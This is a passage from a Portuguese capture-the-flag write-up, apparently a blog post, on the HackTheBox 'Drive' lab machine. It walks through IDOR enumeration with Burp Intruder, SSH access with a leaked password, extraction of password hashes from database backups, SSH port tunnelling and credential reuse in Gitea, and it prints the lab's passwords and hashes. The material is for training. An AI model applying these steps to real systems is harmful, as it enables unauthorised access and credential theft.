&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx5qqzxn6vd41llufexvh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx5qqzxn6vd41llufexvh.png" alt="Repeater Burp Suite" width="650" height="434"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se realizarmos o upload de algum arquivo ele recebe um ID também, como podemos notar na url do arquivo de teste abaixo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fym7niaz2iajqfiifjbvj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fym7niaz2iajqfiifjbvj.png" alt="File uploaded" width="800" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Podemos utilizar o intruder do Burp Suite para buscar por outras ID's e tentar descobrir novos arquivos. Para isso precisamos testar em diversos endpoints a procura de algum IDOR.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjvtv4wffq9mmbjcju1mc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjvtv4wffq9mmbjcju1mc.png" alt="Intruder Burp Suite" width="800" height="311"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No payload colocamos uma lista que vai de 1 a 999. Com isso basta clicar em &lt;strong&gt;Start attack&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxrckf40fvbji478yfr2y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxrckf40fvbji478yfr2y.png" alt="Intruder Payload Sets" width="800" height="311"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E analisando os requests realizados temos o seguinte retorno no &lt;strong&gt;ID 79&lt;/strong&gt; no endpoint &lt;strong&gt;/block&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcju22ix1q11y4z1l1ynt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcju22ix1q11y4z1l1ynt.png" alt="Intruder Results" width="800" height="512"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Também podemos acessar &lt;strong&gt;&lt;a href="http://drive.htb/79/block" rel="noopener noreferrer"&gt;http://drive.htb/79/block&lt;/a&gt;&lt;/strong&gt; pelo navegador para ter uma melhor visualização:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7e31o7fvm6ykzoql5uu0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7e31o7fvm6ykzoql5uu0.png" alt="File id 79" width="800" height="172"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ao clicar em Just View temos a seguinte mensagem:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hey team after the great success of the platform we need now to continue the work.
on the new features for ours platform.
I have created a user for martin on the server to make the workflow easier for you please use the password "Xk4@KjyrYv8t194L!".
please make the necessary changes to the code before the end of the month
I will reach you soon with the token to apply your changes on the repo
thanks!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos nossa primeira vulnerabilidade, um &lt;strong&gt;Insecure Direct Object References&lt;/strong&gt; (&lt;strong&gt;IDOR&lt;/strong&gt;), ocorre quando conseguimos ter acesso a recursos que o usuário não deveria ter.&lt;/p&gt;

&lt;p&gt;A mensagem informa que foi criado um usuário para &lt;strong&gt;martin&lt;/strong&gt; e uma senha, podemos testar o acesso ssh:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/drive]
└─# ssh martin@drive.htb 
martin@drive.htb&lt;span class="s1"&gt;'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
  System information as of Sat 14 Oct 2023 09:08:56 PM UTC
  System load:           0.12
  Usage of /:            63.1% of 5.07GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             229
  Users logged in:       0
  IPv4 address for eth0: 10.129.81.217
  IPv6 address for eth0: dead:beef::250:56ff:fe96:c5d5
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Foram encontradas diversas outras mensagens, como por exemplo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ID 101:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hi team!
me and my friend(Cris) created a new scheduled backup plan for the database
the database will be automatically highly compressed and copied to /var/www/backups/ by a small bash script every day at 12:00 AM
*Note: the backup directory may change in the future!
*Note2: the backup would be protected with strong password! don't even think to crack it guys! :)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;ID 98:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hi team
have a great day.
we are testing the new edit functionality!
it seems to work great!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;ID 99:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;hi team
please we have to stop using the document platform for the chat
+I have fixed the security issues in the middleware
thanks! :)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos acesso com o usuário &lt;strong&gt;martin&lt;/strong&gt;, agora podemos realizar um recon do servidor alvo.&lt;/p&gt;

&lt;p&gt;Encontramos arquivos de backup do banco, conforme descrito na mensagem contido no ID 101:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;martin@drive:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt; /var/www/backups/
total 3.7M
drwxr-xr-x 2 www-data www-data 4.0K Sep  1 18:23 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 5 root     root     4.0K Sep 15 13:34 ..
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 www-data www-data  13K Sep  1 20:00 1_Dec_db_backup.sqlite3.7z
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 www-data www-data  12K Sep  1 20:00 1_Nov_db_backup.sqlite3.7z
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 www-data www-data  13K Sep  1 20:00 1_Oct_db_backup.sqlite3.7z
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 www-data www-data  13K Sep  1 20:00 1_Sep_db_backup.sqlite3.7z
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root     root     3.6M Dec 26  2022 db.sqlite3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Realizando o download para nossa máquina conseguimos visualizar o conteúdo do arquivo &lt;strong&gt;db.sqlite3&lt;/strong&gt; utilizando o SQLite Browser. Nesse banco existem diversos usuários e senhas:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fai7r6stnpipx7fkzzanj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fai7r6stnpipx7fkzzanj.png" alt="accounts_customuser table" width="800" height="160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Os demais arquivo estão compactados e protegidos por senha, não sendo possível descompactar com as senhas que ja obtivemos.&lt;/p&gt;

&lt;p&gt;No entanto, nesse arquivo temos algumas hashes de usuários:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;jamesMason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;W5IGzMqPgAUGMKXwKRmi08&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;030814&lt;/span&gt;&lt;span class="n"&gt;d90a6a50ac29bb48e0954a89132302483a&lt;/span&gt;
&lt;span class="n"&gt;martinCruz&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;E9cadw34Gx4E59Qt18NLXR&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;60919&lt;/span&gt;&lt;span class="n"&gt;b923803c52057c0cdd1d58f0409e7212e9f&lt;/span&gt;
&lt;span class="n"&gt;tomHands&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;kyvDtANaFByRUMNSXhjvMc&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="n"&gt;e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004&lt;/span&gt;
&lt;span class="n"&gt;crisDisel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;ALgmoJHkrqcEDinLzpILpD&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="n"&gt;b835a084a7c65f5fe966d522c0efcdd1d6f879f&lt;/span&gt;
&lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;jzpj8fqBgy66yby2vX5XPa&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="n"&gt;f17d6118fce501e3b60de360d4c311337836a3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mas não conseguimos quebrar a senha.&lt;/p&gt;

&lt;p&gt;Temos algumas portas rodando no localhost, como a 33060, 3306 e 3000:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;martin@drive:~&lt;span class="nv"&gt;$ &lt;/span&gt;netstat &lt;span class="nt"&gt;-ntlp&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.&lt;span class="o"&gt;)&lt;/span&gt;
Active Internet connections &lt;span class="o"&gt;(&lt;/span&gt;only servers&lt;span class="o"&gt;)&lt;/span&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      -                   
tcp6       0      0 :::80                   :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      -                   
tcp6       0      0 :::22                   :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      -                   
tcp6       0      0 :::3000                 :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      -     
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Geralmente a porta 3306 é utilizada pelo banco de dados MySQL. Mas podemos visualizar os serviços criando um tunel via ssh, de forma que seja disponível em nossa máquina nas portas 3306, 3000 e 33060:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/drive]
└─# ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 3306:127.0.0.1:3306 &lt;span class="nt"&gt;-L&lt;/span&gt; 3000:127.0.0.1:3000 martin@drive.htb 
martin@drive.htb&lt;span class="s1"&gt;'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Podemos visualizar as novas portas abertas em nossa máquina local:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/drive]
└─# netstat &lt;span class="nt"&gt;-ntlp&lt;/span&gt; | egrep &lt;span class="s1"&gt;'3306|3000|33060'&lt;/span&gt;
tcp        0      0 127.0.0.1:33060         0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      3389263/ssh         
tcp        0      0 127.0.0.1:3000          0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      3389263/ssh         
tcp        0      0 127.0.0.1:3306          0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;               LISTEN      3389263/ssh         
tcp6       0      0 ::1:33060               :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      3389263/ssh         
tcp6       0      0 ::1:3000                :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      3389263/ssh         
tcp6       0      0 ::1:3306                :::&lt;span class="k"&gt;*&lt;/span&gt;                    LISTEN      3389263/ssh  
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora conseguimos acessar através da nossa máquina e confirmar que na porta 3306 temos realmente um mysql:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/drive]
└─# nc &lt;span class="nt"&gt;-v&lt;/span&gt; 127.0.0.1 3306
localhost &lt;span class="o"&gt;[&lt;/span&gt;127.0.0.1] 3306 &lt;span class="o"&gt;(&lt;/span&gt;mysql&lt;span class="o"&gt;)&lt;/span&gt; open
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Na porta 33060 temos algum serviço que aceita conexões tcp e udp:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/drive]
└─# nc &lt;span class="nt"&gt;-uv&lt;/span&gt; 127.0.0.1 33060
localhost &lt;span class="o"&gt;[&lt;/span&gt;127.0.0.1] 33060 &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt; open
┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/drive]
└─# nc &lt;span class="nt"&gt;-v&lt;/span&gt; 127.0.0.1 33060 
localhost &lt;span class="o"&gt;[&lt;/span&gt;127.0.0.1] 33060 &lt;span class="o"&gt;(&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt; open
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E na porta 3000 tem um gitea, que é um git open source e self hosted:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fitd4z8txskd2wt34mcew.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fitd4z8txskd2wt34mcew.png" alt="Gitea" width="800" height="567"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Como podemos nos registrar vamos criar um usuário para visualizar se existe algum repositório público para usuários registrados:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flcn1tpz410h5tgn9cs0j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flcn1tpz410h5tgn9cs0j.png" alt="Gitea login" width="800" height="361"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aqui conseguimos combinar a senha que descobrimos inicialmente &lt;strong&gt;Xk4@KjyrYv8t194L!&lt;/strong&gt; e o usuário que visualizamos no banco &lt;strong&gt;martinCruz&lt;/strong&gt; e assim conseguimos acesso ao gitea!&lt;/p&gt;

&lt;p&gt;Com isso conseguimos visualizar um repositório privado:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhexbdlnutd64ne28199.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvhexbdlnutd64ne28199.png" alt="crisDiesel/DoodleGrive repository" width="800" height="433"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E no arquivo &lt;a href="http://localhost:3000/crisDisel/DoodleGrive/src/branch/main/db_backup.sh" rel="noopener noreferrer"&gt;http://localhost:3000/crisDisel/DoodleGrive/src/branch/main/db_backup.sh&lt;/a&gt; temos o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;DB&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;
&lt;span class="nv"&gt;date_str&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +&lt;span class="s1"&gt;'%d_%b'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
7z a &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s1"&gt;'H@ckThisP@ssW0rDIfY0uC@n:)'&lt;/span&gt; /var/www/backups/&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;date_str&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;_db_backup.sqlite3.7z db.sqlite3
&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/backups/
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nt"&gt;--sort&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;t &lt;span class="k"&gt;*&lt;/span&gt;.7z &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; backups_num.tmp
&lt;span class="nv"&gt;backups_num&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;backups_num.tmp | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nv"&gt;$backups_num&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 10 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
      &lt;span class="c"&gt;#backups is more than 10... deleting to oldest backup&lt;/span&gt;
      &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt;  &lt;span class="k"&gt;*&lt;/span&gt;.7z &lt;span class="nt"&gt;--sort&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;t &lt;span class="nt"&gt;--color&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;never | &lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
      &lt;span class="c"&gt;#oldest backup deleted successfully!&lt;/span&gt;
&lt;span class="k"&gt;fi
&lt;/span&gt;&lt;span class="nb"&gt;rm &lt;/span&gt;backups_num.tmp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com essa senha conseguimos descompactar os backups:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/…/machines-linux/drive/writeup-shits/backups]
└─# 7z x 1_Dec_db_backup.sqlite3.7z 
7-Zip &lt;span class="o"&gt;[&lt;/span&gt;64] 16.02 : Copyright &lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;locale&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;en_US.UTF-8,Utf16&lt;span class="o"&gt;=&lt;/span&gt;on,HugeFiles&lt;span class="o"&gt;=&lt;/span&gt;on,64 bits,128 CPUs Intel&lt;span class="o"&gt;(&lt;/span&gt;R&lt;span class="o"&gt;)&lt;/span&gt; Core&lt;span class="o"&gt;(&lt;/span&gt;TM&lt;span class="o"&gt;)&lt;/span&gt; i5-1038NG7 CPU @ 2.00GHz &lt;span class="o"&gt;(&lt;/span&gt;706E5&lt;span class="o"&gt;)&lt;/span&gt;,ASM,AES-NI&lt;span class="o"&gt;)&lt;/span&gt;
Scanning the drive &lt;span class="k"&gt;for &lt;/span&gt;archives:
1 file, 13018 bytes &lt;span class="o"&gt;(&lt;/span&gt;13 KiB&lt;span class="o"&gt;)&lt;/span&gt;
Extracting archive: 1_Dec_db_backup.sqlite3.7z
&lt;span class="nt"&gt;--&lt;/span&gt;
Path &lt;span class="o"&gt;=&lt;/span&gt; 1_Dec_db_backup.sqlite3.7z
Type &lt;span class="o"&gt;=&lt;/span&gt; 7z
Physical Size &lt;span class="o"&gt;=&lt;/span&gt; 13018
Headers Size &lt;span class="o"&gt;=&lt;/span&gt; 170
Method &lt;span class="o"&gt;=&lt;/span&gt; LZMA2:22 7zAES
Solid &lt;span class="o"&gt;=&lt;/span&gt; -
Blocks &lt;span class="o"&gt;=&lt;/span&gt; 1
Enter password &lt;span class="o"&gt;(&lt;/span&gt;will not be echoed&lt;span class="o"&gt;)&lt;/span&gt;:
Everything is Ok             
Size:       3760128
Compressed: 13018
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim vamos extrair todos os backups e buscar todas as hashes dos usuários, assim como fizemos no primeiro arquivo.&lt;/p&gt;

&lt;p&gt;Com isso temos as seguintes hashes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Dezembro:&lt;/span&gt;
jamesMason:pbkdf2_sha256&lt;span class="nv"&gt;$390000$npEvp7CFtZzEEVp9lqDJOO$So15&lt;/span&gt;//tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo&lt;span class="o"&gt;=&lt;/span&gt;
martinCruz:pbkdf2_sha256&lt;span class="nv"&gt;$390000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
tomHands:pbkdf2_sha256&lt;span class="nv"&gt;$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;
crisDisel:pbkdf2_sha256&lt;span class="nv"&gt;$390000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0&lt;/span&gt;/jjXK0RDcP6U&lt;span class="o"&gt;=&lt;/span&gt;
admin:pbkdf2_sha256&lt;span class="nv"&gt;$390000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3&lt;/span&gt;+IkHI6KK9Ue8nZeFU&lt;span class="o"&gt;=&lt;/span&gt;

&lt;span class="c"&gt;# Novembro:&lt;/span&gt;
jamesMason:sha1&lt;span class="nv"&gt;$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a&lt;/span&gt;
